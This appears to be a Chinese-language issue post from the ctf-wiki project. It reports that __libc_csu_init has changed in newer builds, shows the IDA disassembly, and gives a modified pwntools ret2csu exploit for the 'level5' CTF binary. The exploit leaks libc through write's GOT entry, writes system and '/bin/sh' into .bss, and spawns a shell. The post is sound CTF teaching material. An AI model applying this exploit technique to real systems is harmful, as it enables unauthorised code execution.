关于lib_csu_init的一点小问题
Author: Ma5kerCreated May 16, 2020Updated Sep 30, 2024
前两天看ret2csu时,发现lib_csu_init好像发生了变化,下面是我这边ida(objdump得到的结果一样)得到的lib_csu_init反汇编代码
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp首先是第一段gadget的赋值也发生了一些变化,后面使用ret2csu需要注意参数传入的对应寄存器。然后是尾部那段gadget发生了变化,由pop变成了mov,最重要的是开头的add rsp,8操作被移到了尾部一起执行了。这样就导致了第二个exp的问题。
因为原来这段gadget是直接从pop开始赋值寄存器,但是变化后成了从栈顶下第二个8字节开始,所以原有的exp会出现错位8字节,下面是我修改了的部分exp,其实主要就是gadget位置与栈布局有细微的变化而已,在docker环境下测试通过。
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process("./level5")
elf = ELF("./level5")
csu_1_addr = 0x00000000004005f0
csu_2_addr = 0x0000000000400606
write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = elf.symbols["main"]
bss_base = elf.bss()
def csu(rbx, rbp, r12, r13, r14, r15, last):
pld = ['a'*0x80,'b'*8,p64(csu_2_addr),'\x00'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'\x00'*0x38,p64(last)]
payload = flat(pld)
p.sendline(payload)
p.recvuntil("World\n")
csu(0,1,write_got,1,write_got,8,main_addr)
sleep(1)
libc_write = u64(p.recv(8))
libc = LibcSearcher("write",libc_write)
libc_base = libc_write - libc.dump("write")
libc_sys = libc_base + libc.dump("system")
p.recvuntil("World\n")
csu(0,1,read_got,0,bss_base,16,main_addr)
sleep(1)
#pause()
p.send(flat([p64(libc_sys),'/bin/sh\x00']))
p.recvuntil('Hello, World\n')
csu(0,1,bss_base,bss_base+8,0,0,main_addr)
p.interactive()Source: ctf-wiki/ctf-wiki